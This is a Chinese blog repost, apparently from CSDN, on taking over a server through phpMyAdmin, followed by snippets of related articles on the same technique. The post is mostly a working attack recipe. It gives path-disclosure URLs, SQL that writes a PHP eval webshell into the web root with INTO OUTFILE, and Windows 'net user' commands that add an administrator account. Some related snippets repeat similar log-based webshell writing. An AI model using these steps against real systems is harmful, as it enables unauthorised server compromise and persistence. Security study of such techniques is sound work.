利用phpMyAdmin提权

最新推荐文章于 2025-03-13 06:58:28 发布

转载最新推荐文章于 2025-03-13 06:58:28 发布

· 238 阅读

0 ·

版权

原文链接：http://www.cnblogs.com/studyone/p/5433601.html

文章标签：

#php

本文介绍了通过phpMyAdmin进行权限提升的过程，包括路径暴露、文件写入等步骤，最终实现webshell的获取及管理员权限的增加。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

利用phpMyAdmin提权

发表于 2016-03-31 | 分类于 phpMyAdmin | 暂无评论 | 9次阅读

爆路径

/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

得到物理路径 C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php

写马

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES("<?php eval($_POST[Cknife]);?>");
select cmd from a into outfile "C:/wamp/www/phpmyadmin/d.php";
Drop TABLE IF EXISTS a;

获得webshell

最后用Cknife连接，创建帐户并添加到管理员用户组
net user admin admin /add
net localgroup administrator admin /add

#phpMyAdmin

原文链接： http://blog.alpace.xyz/2016/03/31/20160331/

转载于:https://www.cnblogs.com/studyone/p/5433601.html

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

weixin_30394333

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

phpmyadmin mysql提权_phpMyadmin提权那些事

weixin_34603814的博客

01-20

256

phpMyadmin提权那些事引言：在渗透测试过程中获知到phpMyadmin的账号密码，如何进行提权呢？往下看，我今天和你说说phpMyadmin提权那些事。0x00 定义 phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。0x01 环境准备目标： Windows Serve...

PhPmyadmin提权之FILE权限修改

weixin_67803112的博客

11-05

709

每一次渗透都是在开盲盒,永远不知道下一个难点在哪里……需要我们一次次尝试,一次次失败,一次次总结,才会把我们所谓的难点变成基操…..

参与评论您还未登录，请先登录后发表或查看评论

利用phpMyAdmin拿webshell

05-01

利用phpMyAdmin拿webshell 利用phpMyAdmin拿webshell

phpmyadmin的提权

cc1988429的专栏

10-13

905

一: 暴路径: libraries/lect_lang.lib.php themes/darkblue_orange/layout.inc.php 二:提权选择一个Database.运行以下语句. ----start code--- Create TABLE a (cmd text NOT NULL); Insert INTO a (cmd) VALUES(''''); sel

最新发布

浩策盾悟

03-13

8986

phpinfo()/tmp/root得知通过日志我们就可以进行其它渗透行为。

phpMyAdmin提权

Clannad的博客

01-10

1820

文章目录条件条件 1、secure_file_priv的值不为NULL

phpmyadmin的提权 http://hi.baidu.com/h4ck3rsbr/blog/item/725d00f5ca4c9a21bd31094e.html

www.pingfi.com

01-13

2658

phpmyadmin的提权2007年12月21日星期五 15:05 一: 暴路径: libraries/lect_lang.lib.php themes/darkblue_orange/layout

php检测 Phpmyadmin提权漏洞演示

07-21

【压缩包子文件的文件名称列表】：“Phpmyadmin提权漏洞演示.exe”可能是一个执行文件，包含了一个模拟的环境或工具，用于演示如何检测和利用Phpmyadmin的提权漏洞。这个文件可能包含了模拟攻击的步骤、漏洞利用的...

phpMyadmin提权那些事

xiaoi123的博客

06-01

3723

i春秋作家:anyedtphpMyadmin提权那些事引言：在渗透测试过程中获知到phpMyadmin的账号密码，如何进行提权呢？往下看，我今天和你说说phpMyadmin提权那些事。0×00 定义 phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。0×01 环境准备目标： W...

phpmyadmin getshell到提权

KHOST的博客

03-16

743

一. 环境准备：靶机：win7 32 位。环境： php：5.45 MYsql：5.5.53 Apache：2.4s 二. 开始攻击。访问目标站点，发现开启3306 端口，经过弱口令，爆破，目录泄露等途径已经获知PhpMyadmin的账号密码是root root 1.开始登陆到目标服务器的PhpMyadmin 2.检测MySQL全局变量（generallog、gen...

护卫神mysql提权_【转载】提权纪实-突破护卫神目录权限

weixin_39582656的博客

02-12

482

一个dede的站shell，看了下 disable_functionsexec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,escapeshellarg,escapeshellcmd,sh2_exec,proc_terminate,proc_close而且也不支持pcntl_exec函数，MySQL低权限用户，尝试COM组件...

phpMyadmin新建数据库，添加用户并配置用户权限方法

08-31

phpMyadmin新建数据库，添加用户并配置用户权限有翻译

PHP myAdmin提权

zkjsdk的博客

01-13

599

登录phpmyadmin 后台默认密码root root 提权的关键点绝对路径开启日志 1.先判断日志是否打开 show global variables like ‘%general%’; 如果没开执行以下语句 set global general_log = “ON”; show global variables like ‘%general%’; 2.设置路径根据情况设置...

phpmyadmin——提权

weixin_53639243的博客

01-29

773

general_log 默认关闭，开启它可以记录用户输入的每条命令，会把其保存在对应的日志文件中。比如如果是 phpstudy启动的根据 mysql 安装路径就可以猜出网站的位置。用于 secur_file_priv 为null 或限定值不在网页目录时。执行下面的sql语句，创建表并在表中写入一句话木马，在导出到网站的根路径。2.secure_file_priv 不为null 具体描述在下边。general_log_file：日志保存路径。3.要知道网站的绝对路径，写入马才能连接。

phpmyadmin mysql提权_phpMyadmin提权技巧

weixin_26795171的博客

01-28

535

定义phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。环境准备目标：WindowsServer2003Enterprisex64Edition192.168.17.137攻击机：window7192.168.17.132Php:5.45Mysql:5.5.53Apac...

phpmyadmin通过日记提权

qq_36064883的博客

08-01

274

进入phpmysql里面过够通过sql指令来获取mysql的目录，然后推断出网站路径指令为 select @@basedir; set global general_log = “ON”; #将日记保存状态开启 SET global general_log_file=’c:/phpStudy/phpstudy/WWW/1.php’ #修改日记的保存位置然后写入一句话 select‘<?p...